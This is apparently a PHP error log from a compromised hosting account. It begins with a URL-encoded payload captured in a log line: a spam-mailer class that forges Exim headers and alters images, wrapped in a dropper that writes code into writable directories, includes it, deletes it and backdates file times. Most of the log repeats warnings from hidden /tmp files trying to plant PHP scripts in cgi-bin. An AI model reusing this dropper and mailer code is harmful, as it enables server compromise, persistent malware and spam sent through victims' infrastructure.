520%2520%2520%2520%2524href%2520%2520%253D%2520%2540strpos%2528%2524msg%252C%2520%2527%2522%2527%252C%2520%2524href%252B1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524href%2520%253D%253D%253D%2520false%2529%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524endh%2520%2520%253D%2520%2540strpos%2528%2524msg%252C%2520%2527%2522%2527%252C%2520%2524href%252B1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524endh%2520%253D%253D%253D%2520false%2529%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524enda%2520%2520%253D%2520%2540strpos%2528%2524msg%252C%2520%2527%253C/%2527%252C%2520%2524endh%252B1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524enda%2520%253D%253D%253D%2520false%2529%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524enda%2520%2520%253D%2520%2540strpos%2528%2524msg%252C%2520%2527%253E%2527%252C%2520%2524enda%252B1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524enda%2520%253D%253D%253D%2520false%2529%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524before%2520%2520%2520%253D%2520%2540substr%2528%2524msg%252C%25200%252C%2520%2524start%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524link%2520%2520%2520%2520%2520%253D%2520%2540substr%2528%2524msg%252C%2520%2524href%252B1%252C%2520%2524endh-%2524href-1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524after%2520%2520%2520%2520%253D%2520%2540substr%2528%2524msg%252C%2520%2524enda%252B1%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524msg%2520%2520%2520%2520%2520%2520%253D%2520%2524before.%2524link.%2524after%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524find_a%2520%253D%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524msg%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520str_replace_once%2528%2524search%252C%2520%2524replace%252C%2520%2524text%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524pos%2520%253D%2520%2540strpos%2528%2524text%252C%2520%2524search%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2528%2524pos%2521%253D%253Dfalse%2529%2520%253F%2520%2540substr_replace%2528%2524text%252C%2520%2524replace%252C%2520%2524pos%252C%2520strlen%2528%2524search%2529%2529%2520%253A%2520%2524text%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520download_source%2528%2524url%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2540file_get_contents%2528%2524url%252C%2520false%252C%2520%2524this-%253Econtext%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520file_string%2528%2524name%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ext%2520%253D%2520strtolower%2528%2540pathinfo%2528%2524name%252C%2520PATHINFO_EXTENSION%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528in_array%2528%2524ext%252C%2520array%2528%2527jpeg%2527%252C%2527jpg%2527%2529%2529%2520%2526%2526%2520%2524this-%253Echeck_rand_img%2528%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524this-%253Erand_img%2528%2524_FILES%255B%2527file%2527%255D%255B%2527tmp_name%2527%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2540file_get_contents%2528%2524_FILES%255B%2527file%2527%255D%255B%2527tmp_name%2527%255D%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520random_text%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524chars%2520%253D%2520%2527qwertyuiopasdfghjklzxcvbnm%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2540substr%2528str_shuffle%2528str_repeat%2528%2524chars%252C%2520rand%25283%252C8%2529%2529%2529%252C%25200%252C%2520rand%25283%252C8%2529%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520generate_str%2528%2524len%252C%2520%2524mode%253D0%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524mode%253D%253D%253D1%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524chars%253D%2527abcdefghkmnpqrstuvwxyzABCDEFGHKMNPQRSTUVWXYZ1234567890%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528%2524mode%253D%253D%253D2%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524chars%253D%25271234567890%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524chars%253D%2527abcdefghkmnpqrstuvwxyz1234567890%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524res%253D%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524mx%2520%253D%2520strlen%2528%2524chars%2529-1%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520for%2520%2528%2524i%253D0%253B%2524i%253C%2524len%253B%2524i%252B%252B%2529%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524res%2520.%253D%2520%2524chars%255Bmt_rand%25280%252C%2520%2524mx%2529%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524res%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520check_rand_img%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528array%2528%2527getimagesize%2527%252C%2527imagecreatetruecolor%2527%252C%2527imagecreatefromjpeg%2527%252C%2527imagecopyresampled%2527%252C%2527imagefilter%2527%252C%2527ob_start%2527%252C%2527imagejpeg%2527%252C%2527ob_get_clean%2527%2529%2520as%2520%2524f%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521function_exists%2528%2524f%2529%2529%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520rand_img%2528%2524file%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520list%2528%2524w%252C%2520%2524h%2529%2520%253D%2520%2540getimagesize%2528%2524file%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524new_w%2520%2520%2520%253D%2520%2528rand%25281%252C2%2529%253D%253D1%2529%2520%253F%2520%2524w%252Brand%2528-10%252C10%2529%2520%253A%2520%2524w%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524new_h%2520%2520%2520%253D%2520%2528rand%25281%252C2%2529%253D%253D1%2529%2520%253F%2520%2524h%252Brand%2528-10%252C10%2529%2520%253A%2520%2524h%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524quality%2520%253D%2520%2528rand%25281%252C2%2529%253D%253D1%2529%2520%253F%252075%2520%253A%2520rand%252865%252C105%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524bright%2520%2520%253D%2520%2528rand%25281%252C2%2529%253D%253D1%2529%2520%253F%2520rand%25280%252C35%2529%2520%253A%25200%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524contr%2520%2520%2520%253D%2520%2528rand%25281%252C2%2529%253D%253D1%2529%2520%253F%2520rand%2528-15%252C15%2529%2520%253A%25200%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524im_p%2520%2520%2520%2520%253D%2520%2540imagecreatetruecolor%2528%2524new_w%252C%2524new_h%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524im%2520%2520%2520%2520%2520%2520%253D%2520%2540imagecreatefromjpeg%2528%2524file%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540imagecopyresampled%2528%2524im_p%252C%2520%2524im%252C%25200%252C0%252C0%252C0%252C%2520%2524new_w%252C%2524new_h%252C%2520%2524w%252C%2524h%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540imagefilter%2528%2524im_p%252C%2520IMG_FILTER_CONTRAST%252C%2520%2524contr%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540imagefilter%2528%2524im_p%252C%2520IMG_FILTER_BRIGHTNESS%252C%2520%2524bright%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540ob_start%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540imagejpeg%2528%2524im_p%252C%2520null%252C%2520%2524quality%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524out%2520%253D%2520%2540ob_get_clean%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540imagedestroy%2528%2524im_p%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524out%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520get_mime_type%2528%2524file%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528function_exists%2528%2527mime_content_type%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2540mime_content_type%2528%2524file%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528function_exists%2528%2527finfo_open%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524finfo%2520%253D%2520%2540finfo_open%2528FILEINFO_MIME_TYPE%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524finfo%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524type%2520%253D%2520%2540finfo_file%2528%2524finfo%252C%2520%2524file%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540finfo_close%2528%2524finfo%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524type%2520%253F%2520%2524type%2520%253A%2520%2527application/octet-stream%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ext%2520%253D%2520strtolower%2528%2540pathinfo%2528%2524file%252C%2520PATHINFO_EXTENSION%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524map%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527jpg%2527%253D%253E%2527image/jpeg%2527%252C%2527jpeg%2527%253D%253E%2527image/jpeg%2527%252C%2527png%2527%253D%253E%2527image/png%2527%252C%2527gif%2527%253D%253E%2527image/gif%2527%252C%2527bmp%2527%253D%253E%2527image/bmp%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527pdf%2527%253D%253E%2527application/pdf%2527%252C%2527zip%2527%253D%253E%2527application/zip%2527%252C%2527rar%2527%253D%253E%2527application/x-rar-compressed%2527%252C%2527txt%2527%253D%253E%2527text/plain%2527%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520isset%2528%2524map%255B%2524ext%255D%2529%2520%253F%2520%2524map%255B%2524ext%255D%2520%253A%2520%2527application/octet-stream%2527%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520get_host_ptr%2528%2524ip%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521function_exists%2528%2522dns_get_record%2522%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ptr%2520%253D%2520implode%2528%2522.%2522%252C%2520array_reverse%2528explode%2528%2522.%2522%252C%2520%2524ip%2529%2529%2529.%2522.in-addr.arpa%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524host%2520%253D%2520%2540dns_get_record%2528%2524ptr%252C%2520DNS_PTR%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524host%2520%257C%257C%2520%2521isset%2528%2524host%255B0%255D%255B%2522target%2522%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524host%255B0%255D%255B%2522target%2522%255D%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520rfc_date%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524tz%2520%2520%253D%2520%2540date%2528%2527Z%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524tzs%2520%253D%2520%2528%2524tz%253C0%2529%253F%2527-%2527%253A%2527%252B%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524tz%2520%2520%253D%2520abs%2528%2524tz%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524tz%2520%2520%253D%2520%2528int%2529%2528%2524tz/3600%2529%252A100%2520%252B%2520%2528%2524tz%25253600%2529/60%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520sprintf%2528%2522%2525s%2520%2525s%252504d%2522%252C%2520%2540date%2528%2527D%252C%2520j%2520M%2520Y%2520H%253Ai%253As%2527%2529%252C%2520%2524tzs%252C%2520%2524tz%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520random_exim_version%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524maj%2520%253D%2520array%25284%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524min%2520%253D%2520range%252893%252C97%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524pat%2520%253D%2520range%25280%252C3%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524x1%2520%2520%253D%2520%2524maj%255Barray_rand%2528%2524maj%2529%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524x2%2520%2520%253D%2520%2524min%255Barray_rand%2528%2524min%2529%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524x3%2520%2520%253D%2520%2528rand%25280%252C1%2529%253D%253D1%2529%2520%253F%2520%2527.%2527.%2524pat%255Barray_rand%2528%2524pat%2529%255D%2520%253A%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2522Exim%2520%2524x1.%2524x2%2524x3%2522%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520get_header_date%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520date%2528%2527r%2527%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520get_header_message_id%2528%2524domain%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520md5%2528uniqid%2528mt_rand%2528%2529%252C%2520true%2529%2529.%2527%2540%2527.%2524domain%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%257D%250D%250A%250D%250A%2524cm%2520%253D%2520new%2520CompactMailer%2528%2529%253B%250D%250A%2524cm-%253Erun%2528%2529%253B%27%29%3B%20if%20%28file_put_contents%28%24p%2C%20%24c%29%29%20%7B%20%20%20%20%20echo%20%27%21success%21%27%3B%20%20%20%20%20%40touch%28%24p%2C%201759333894%29%3B%20%7D%20die%28%27%21ended%21%27%29%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.accept";if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die("!notwrtbl!");'] in /home/tokomrjk/jogja2.jbchampions.com/forum.php on line 28 [01-Oct-2025 20:37:21 UTC] PHP Warning: Undefined array key "En" in /tmp/.class on line 1 [01-Oct-2025 20:37:21 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.class on line 1 [08-Oct-2025 17:06:32 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/tb_standalone.js.php): Failed to open stream: Disk quota exceeded in /tmp/.classes on line 1 [08-Oct-2025 17:06:36 UTC] PHP Warning: Undefined array key "MD" in /tmp/.cache on line 1 [08-Oct-2025 17:06:36 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.cache on line 1 [08-Oct-2025 17:06:38 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/tb_standalone.js.php): Failed to open stream: Disk quota exceeded in /tmp/.rindex on line 1 [11-Oct-2025 23:12:44 UTC] PHP Warning: Undefined array key "Jh" in /tmp/.partition on line 1 [11-Oct-2025 23:12:44 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.partition on line 1 [12-Oct-2025 11:13:43 UTC] PHP Warning: Undefined array key "OG" in /tmp/.classes on line 1 [12-Oct-2025 11:13:43 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.classes on line 1 [16-Oct-2025 17:22:25 UTC] PHP Warning: Undefined array key "wd" in /tmp/.created on line 1 [16-Oct-2025 17:22:25 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.created on line 1 [19-Oct-2025 05:27:34 UTC] PHP Warning: Undefined array key "JW" in /tmp/.partition on line 1 [19-Oct-2025 05:27:34 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.partition on line 1 [21-Oct-2025 23:32:47 UTC] PHP Warning: Undefined array key "rI" in /tmp/.center on line 1 [21-Oct-2025 23:32:47 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.center on line 1 [23-Oct-2025 18:38:11 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/module_icon.php): Failed to open stream: Disk quota exceeded in /tmp/.classes on line 1 [23-Oct-2025 18:38:18 UTC] PHP Warning: Undefined array key "Af" in /tmp/.content on line 1 [23-Oct-2025 18:38:18 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.content on line 1 [24-Oct-2025 06:38:07 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/document.php): Failed to open stream: Disk quota exceeded in /tmp/.rindex on line 1 [24-Oct-2025 06:38:11 UTC] PHP Warning: Undefined array key "ic" in /tmp/.ob_iconv_handle on line 1 [24-Oct-2025 06:38:11 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.ob_iconv_handle on line 1 [24-Oct-2025 06:38:20 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/document.php): Failed to open stream: Disk quota exceeded in /tmp/.cache on line 1 [26-Oct-2025 00:42:22 UTC] PHP Warning: Undefined array key "rW" in /tmp/.dba_insertion on line 1 [26-Oct-2025 00:42:22 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.dba_insertion on line 1 [26-Oct-2025 12:44:13 UTC] PHP Warning: Undefined array key "ih" in /tmp/.rindex on line 1 [26-Oct-2025 12:44:13 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.rindex on line 1 [28-Oct-2025 19:46:47 UTC] PHP Warning: Undefined array key "eM" in /tmp/.requests on line 1 [28-Oct-2025 19:46:47 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.requests on line 1 [30-Oct-2025 08:16:54 UTC] PHP Warning: Undefined array key "Xr" in /tmp/.ob_iconv_handle on line 1 [30-Oct-2025 08:16:54 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.ob_iconv_handle on line 1 [31-Oct-2025 14:20:16 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/modifier.spacify.php): Failed to open stream: Disk quota exceeded in /tmp/.class on line 1 [31-Oct-2025 14:20:19 UTC] PHP Warning: Undefined array key "xh" in /tmp/.lock on line 1 [31-Oct-2025 14:20:19 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.lock on line 1 [31-Oct-2025 14:20:20 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/modifier.spacify.php): Failed to open stream: Disk quota exceeded in /tmp/.rindex on line 1 [01-Nov-2025 08:23:24 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/groovy.php): Failed to open stream: Disk quota exceeded in /tmp/.lock on line 1 [01-Nov-2025 08:23:28 UTC] PHP Warning: Undefined array key "Yu" in /tmp/.rfind on line 1 [01-Nov-2025 08:23:28 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.rfind on line 1 [01-Nov-2025 08:23:31 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/groovy.php): Failed to open stream: Disk quota exceeded in /tmp/.system on line 1 [01-Nov-2025 14:27:17 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/tagtime.php): Failed to open stream: Disk quota exceeded in /tmp/.mb_convert on line 1 [01-Nov-2025 14:27:29 UTC] PHP Warning: Undefined array key "XM" in /tmp/.parle_tokens on line 1 [01-Nov-2025 14:27:29 UTC] PHP Warning: Trying to access array offset on value of type null in /tmp/.parle_tokens on line 1 [01-Nov-2025 14:27:36 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/tagtime.php): Failed to open stream: Disk quota exceeded in /tmp/.internal on line 1 [01-Nov-2025 20:31:50 UTC] PHP Warning: file_put_contents(MimeList.php): Failed to open stream: Disk quota exceeded in /tmp/.cache on line 1 [01-Nov-2025 22:47:59 UTC] PHP Warning: file_put_contents(/tmp/.rindex): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 22:47:59 UTC] PHP Warning: file_put_contents(/tmp/.rindex): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 22:47:59 UTC] PHP Warning: file_put_contents(/var/tmp/.rindex): Failed to open stream: Disk quota exceeded in Command line code on line 1 [01-Nov-2025 22:47:59 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.rindex): Failed to open stream: Disk quota exceeded in Command line code on line 1 [02-Nov-2025 08:30:01 UTC] PHP Warning: file_put_contents(/tmp/.lock): Failed to open stream: Disk quota exceeded in Command line code on line 1 [02-Nov-2025 08:30:01 UTC] PHP Warning: file_put_contents(/tmp/.lock): Failed to open stream: Disk quota exceeded in Command line code on line 1 [02-Nov-2025 08:30:01 UTC] PHP Warning: file_put_contents(/var/tmp/.lock): Failed to open stream: Disk quota exceeded in Command line code on line 1 [02-Nov-2025 08:30:01 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.lock): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 12:30:27 UTC] PHP Warning: file_put_contents(/tmp/.uconvert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 12:30:27 UTC] PHP Warning: file_put_contents(/tmp/.uconvert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 12:30:27 UTC] PHP Warning: file_put_contents(/var/tmp/.uconvert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 12:30:27 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.uconvert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 12:30:37 UTC] PHP Warning: file_put_contents(/tmp/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 12:30:37 UTC] PHP Warning: file_put_contents(/tmp/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 12:30:37 UTC] PHP Warning: file_put_contents(/var/tmp/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 12:30:37 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:27:07 UTC] PHP Warning: file_put_contents(/tmp/.lock): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:27:07 UTC] PHP Warning: file_put_contents(/tmp/.lock): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:27:07 UTC] PHP Warning: file_put_contents(/var/tmp/.lock): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:27:07 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.lock): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:27:10 UTC] PHP Warning: file_put_contents(/tmp/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:27:10 UTC] PHP Warning: file_put_contents(/tmp/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:27:10 UTC] PHP Warning: file_put_contents(/var/tmp/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:27:10 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.class): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:27:39 UTC] PHP Warning: file_put_contents(/tmp/.db2_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:27:39 UTC] PHP Warning: file_put_contents(/tmp/.db2_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:27:39 UTC] PHP Warning: file_put_contents(/var/tmp/.db2_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:27:39 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.db2_convert): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:28:13 UTC] PHP Warning: file_put_contents(/tmp/.lock): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:28:13 UTC] PHP Warning: file_put_contents(/tmp/.lock): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:28:13 UTC] PHP Warning: file_put_contents(/var/tmp/.lock): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:28:13 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/.lock): Failed to open stream: Disk quota exceeded in Command line code on line 1 [03-Nov-2025 13:28:50 UTC] PHP Warning: file_put_contents(/home/tokomrjk/jogja2.jbchampions.com/cgi-bin/lscript.php): Failed to open stream: Disk quota exceeded in /tmp/.rjust on line 1 